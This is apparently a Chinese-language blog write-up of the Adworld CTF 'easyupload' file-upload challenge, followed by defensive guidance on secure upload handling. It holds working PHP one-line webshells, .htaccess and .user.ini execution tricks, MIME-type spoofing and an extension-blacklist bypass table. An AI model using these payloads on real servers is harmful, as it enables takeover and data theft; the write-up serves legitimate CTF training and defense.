每日一练:攻防世界「easyupload文件上传漏洞」详细解析与防御

前置条件: 了解 HTTP 协议基础、会使用 Burp Suite 抓包改包
⚠️ 警告: 本文仅用于 CTF 竞赛学习与授权测试,未经授权上传 Webshell 属于违法行为。


一、写在前面:文件上传漏洞的危害

文件上传漏洞,在我经历过的安全事故中,危害等级通常排在前三

SQL 注入可能拖库,但文件上传成功往往意味着服务器权限直接沦陷

几年前,我负责过一个电商系统的安全加固。测试发现,用户上传头像的功能存在漏洞。攻击者不需要任何高深技术,只需把木马后缀改成 .jpg,再绕过 MIME 类型检查,就能拿到 Webshell。一旦成功,内网渗透、数据窃取接踵而至。

攻防世界的「easyupload」是一道经典的文件上传入门题。它涵盖了前端验证、后端 MIME 检查、后缀黑名单等常见防御措施的绕过方法。

这篇文章不只是为了 writeup,更是为了让你理解**「为什么上传功能这么危险」以及「如何真正防御」**。


二、挑战环境分析

攻防世界官网地址:https://adworld.xctf.org.cn/

文中所用到工具在文章末尾有下载链接;

2.1 靶场入口

登录攻防世界平台,找到「easyupload」题目,点击「进入环境」。

你会看到一个简单的文件上传页面:

  • 一个「选择文件」按钮
  • 一个「上传」按钮
  • 没有任何复杂的说明

拍摄内容: 攻防世界 easyupload 题目首页,显示文件上传表单。
目的: 展示初始界面,建立基准。


2.2 初步测试

步骤 1: 准备一个正常的 PHP 木马文件(muma.php)。

复制代码
<?php @eval($_POST['code']); ?>

步骤 2: 直接上传 muma.php
结果: 提示「Your file looks wicked」表示文件没有上传成功。

结论: 存在后端或前端校验,不能直接上传 .php 文件。


三、实战突破:四层防御绕过

文件上传的防御通常是分层的。我们需要像剥洋葱一样,一层层绕过。

3.1 第一层:前端 JS 验证

很多网站为了用户体验,会在浏览器端用 JavaScript 检查后缀名。

测试方法:

  1. 关闭浏览器 JavaScript(麻烦)
  2. 直接抓包修改(推荐)

操作步骤:

  1. 打开 Burp Suite,开启 Proxy 拦截。
  2. 选择 muma.php,点击上传。
  3. Burp 拦截到请求包。
  4. 观察: 如果请求根本没发出去,说明是纯前端 JS 验证。
  5. 绕过: 禁用 JS 或直接用 Burp 重放一个修改后的请求。

注意: 攻防世界的这道题通常包含后端验证,前端 JS 可能只是第一道防线。


拍摄内容: Burp Suite 拦截到的原始上传请求,显示 Content-Type 和 filename。
目的: 展示请求包结构。


3.2 第二层:MIME Type 检查

后端会检查 Content-Type 字段。如果上传 .php 文件,但声明为 image/jpeg,有时能绕过。

原始请求:

复制代码
------geckoformboundary3cbcacc7692903495fbed7940f325580
Content-Disposition: form-data; name="fileUpload"; filename="menu.php"
Content-Type: application/octet-stream

修改后:

复制代码
Content-Type: image/jpeg

操作: 在 Burp 中直接修改 Content-Typeimage/jpeg,转发请求。
结果: 如果依然报错,说明后端还检查了文件后缀。


拍摄内容: Burp 中修改 Content-Type 为 image/jpeg 后的请求包。
目的: 展示 MIME 类型绕过技巧。


3.3 第三层:后缀黑名单绕过

这是最关键的一步。后端通常会维护一个黑名单(如 .php, .php5, .phtml 等)。

常见绕过技巧:

|-----------------------|----------------------------|----------------------|
| 技巧 | 示例 | 适用场景 |
| 大小写混合 | .PhP, .pHp | Windows 服务器不区分大小写 |
| 特殊后缀 | .php5, .phtml, .php3 | 黑名单未覆盖所有解析后缀 |
| 空格/点 | .php , .php. | Windows 会自动去除末尾空格和点 |
| :: $ DATA | .php::\$DATA | Windows NT 数据流(较老系统) |
| .htaccess | 上传 .htaccess | Apache 服务器,配置解析规则 |

针对 easyupload 的实测策略:

  1. 尝试 .php5 .phtml 很多黑名单只写了 .php

  2. 尝试 .htaccess绕过(高频考点):
    如果服务器是 Apache,且允许上传 .htaccess,我们可以配置让 .jpg 文件被当作 PHP 执行。.htaccess内容:

    AddType application/x-httpd-php .jpg

操作步骤:

    1. 创建文件 .htaccess,写入上述内容。
    2. 上传 .htaccess(可能需要绕过后缀检查,如改为 .htaccess.jpg 或利用解析漏洞)。
    3. 创建木马文件 muma.jpg(内容为 PHP 代码)。
    4. 上传 muma.jpg
    5. 访问 上传路径/shell.jpg,此时会被当作 PHP 执行。

拍摄内容: 发现通过直接修改文件名的后缀文件无法上传成功,说明这种方法仍然无法行的通。
目的: 测试修改文件名后缀绕过。


3.4 第四层:其他方式绕过

利用php的特性,上传 .user.ini 文件进行绕过。

复制代码
GIF89a                  
auto_prepend_file=muma.png
  • 文件名: .user.ini(这是一个PHP配置文件,优先级很高)。
  • 内容解释:
    • GIF89a:这是GIF图片的文件头(Magic Number)。加上这个是为了欺骗服务器的文件上传检测机制,让服务器以为这是一个图片文件,从而允许上传。
    • auto_prepend_file=a.jpg:这是关键的攻击指令。它的意思是:"在该目录下运行任何PHP脚本之前,先自动包含(执行) a.jpg****这个文件。"

操作步骤:

  • 上传 .user.ini 文件,注意上传的时候通过 bp 修改 Content-Type: image/jpg
  • 上传muma.png,上传之前修改木马的文件内容(测试发现,带有php的一句话木马无法上传)

    GIF89a

    <?= @eval($_POST['code'])?>
  • 利用蚁剑工具进行连接,成功获取到了flag(注意,测试发现靶站有一个定时清理的脚本,过一会可能就连不上了,需要重新上传下一句话木马文件就可以了)

四、漏洞原理深度分析

为什么这些绕过能成功?

4.1 信任客户端数据

MIME 类型(Content-Type)是由客户端(浏览器)发送的。服务器永远不要信任客户端发送的 MIME 类型。 攻击者可以用 Burp 随意修改。

4.2 黑名单永远不完整

后端使用黑名单(Blacklist)过滤后缀,意味着「除了禁止的,其他都允许」。

但 Web 服务器(Apache/Nginx/IIS)的解析规则非常复杂。

  • Apache 可能解析 .php3, .php4, .php5, .phtml
  • Nginx 可能存在配置错误导致解析漏洞。
  • IIS 可能有特定后缀解析漏洞。

只要漏掉一个,防御就失效。

4.3 配置文件权限过大

.htaccess是 Apache 的目录级配置文件。如果允许用户上传并覆盖该文件,攻击者可以自定义文件解析规则,把图片当脚本执行。


五、网络安全中的利用与危害

在真实的渗透测试中,文件上传漏洞利用不仅仅是弹个 alert

5.1 获取 Webshell

上传一句话木马(中国菜刀/蚁剑/冰蝎):

复制代码
<?php @eval($_POST['password']); ?>

危害: 攻击者可以执行任意系统命令(whoami, ls, rm -rf)。

5.2 持久化控制

即使管理员修复了漏洞,攻击者可能已经上传了多个备份文件,或植入了 Rootkit。

5.3 内网跳板

拿到 Web 服务器权限后,攻击者会以此为跳板,扫描内网其他机器(数据库、文件服务器),扩大战果。

5.4 数据窃取

通过 Webshell 读取数据库配置文件,连接数据库,导出所有用户数据。


六、防御方案:如何构建安全上传功能

作为开发者,如何避免自己的系统成为下一个靶场?

6.1 核心原则:白名单机制

不要使用黑名单! 使用白名单(Whitelist)。

只允许特定的后缀(如 .jpg, .png, .gif),其他一律拒绝。

复制代码
// ✅ 安全写法
$allowed_ext = ['jpg', 'png', 'gif'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);

if (!in_array($ext, $allowed_ext)) {
    die('Invalid file type');
}

6.2 重命名文件

不要使用用户原始文件名。

使用随机字符串重命名,防止攻击者利用文件名进行攻击(如 .htaccess 覆盖)。

复制代码
// ✅ 安全写法
$new_filename = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($tmp_name, "/uploads/" . $new_filename);

6.3 存储目录隔离

上传目录禁止执行脚本。

在 Nginx/Apache 配置中,明确禁止上传目录的 PHP 执行权限。

Nginx 配置示例:

复制代码
location /uploads/ {
    location ~ \.php$ {
        deny all;
    }
}

Apache 配置示例:

复制代码
<Directory "/var/www/html/uploads">
    php_flag engine off
</Directory>

6.4 文件内容校验

不要只查后缀,要查内容。

检查文件头(Magic Number),确保真的是图片。

复制代码
// 检查图片头
$image_info = getimagesize($tmp_name);
if ($image_info === false) {
    die('Not a valid image');
}

6.5 禁用危险配置

  • 禁止上传目录写入 .htaccess.user.ini
  • 关闭不必要的 PHP 函数(exec, system, shell_exec)。
  • 使用低权限用户运行 Web 服务。

七、自查清单

发布上传功能前,对照此表检查:

  • 是否使用了后缀白名单(而非黑名单)?
  • 是否对用户原始文件名进行了随机重命名?
  • 上传目录是否禁止了脚本执行权限?
  • 是否验证了文件内容(Magic Number)?
  • 是否限制了文件大小(防止 DoS)?
  • 是否禁止了 .htaccess 等特殊文件上传?
  • 存储路径是否在 Web 根目录之外(如果可以)?

八、常见问题 Q&A

Q:为什么我上传了 .php没反应?

A:检查几点:

  1. 服务器是否配置了禁止上传目录执行 PHP。
  2. 文件名是否被后端重命名了。
  3. 是否有 WAF 拦截了请求。

Q: .htaccess绕过失效怎么办?

A:

  1. 服务器可能不是 Apache(Nginx 不支持 .htaccess)。
  2. Apache 配置中 AllowOverride 可能设置为 None
  3. 尝试 .user.ini 绕过(针对 Nginx+PHP)。

Q:如何检测自己的系统有没有上传漏洞?

A:

  1. 尝试上传 .php 文件,看是否被拒绝。
  2. 尝试上传 .jpg 但内容为 PHP 代码,看是否被检测。
  3. 使用工具如 Burp Suite 进行模糊测试(Fuzzing)。

Q:云存储(如 OSS)安全吗?

A:相对安全。云存储通常作为静态资源托管,不执行服务端脚本。但要注意回调地址和权限配置。


总结

文件上传漏洞是 Web 安全的「重灾区」。

核心要点:

  1. 前端验证不可信,必须后端校验。
  2. 黑名单不可靠,必须用白名单。
  3. 上传目录必须禁止脚本执行。
  4. 文件名必须随机化。

攻防世界的「easyupload」只是一个开始。建议在本地搭建 DVWA 或 upload-labs 靶场,把所有绕过技巧亲手试一遍。只有知道攻击者怎么突破,你才能守住防线。

持续更新,有任何问题,欢迎来到评论区留言


免责声明: 本文所有内容仅供学习与授权测试使用。未经授权对任何系统进行文件上传攻击属于违法行为,请务必在法律允许范围内进行安全研究。

相关推荐
廋到被风吹走2 小时前
持续学习方向 低代码/平台工程
学习·低代码
·中年程序渣·2 小时前
Spring AI Alibaba入门学习(一)
人工智能·学习·spring
白帽黑客-晨哥2 小时前
湖南网安基地的野蛮生长:当网络安全沦为“做题家”比赛,湖南网安基地在尝试另一种可能
web安全·网络安全·渗透测试·漏洞挖掘·漏洞扫描·湖南网安基地
Engineer邓祥浩2 小时前
JVM学习笔记(1) 总述
jvm·笔记·学习
Brucye2 小时前
[极客大挑战 2019]BabySQL 1
sql·网络安全
y = xⁿ2 小时前
【从零开始学习Redis|第五篇】Redis 常见数据类型和应用场景
数据库·redis·学习·缓存
一名优秀的码农3 小时前
vulhub系列-34-djinn-3(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
2301_800895103 小时前
二分学习--备战蓝桥杯版h
学习
冷小鱼3 小时前
国家网络安全事件报告管理办法
安全·web安全·网络安全·信息安全·安全法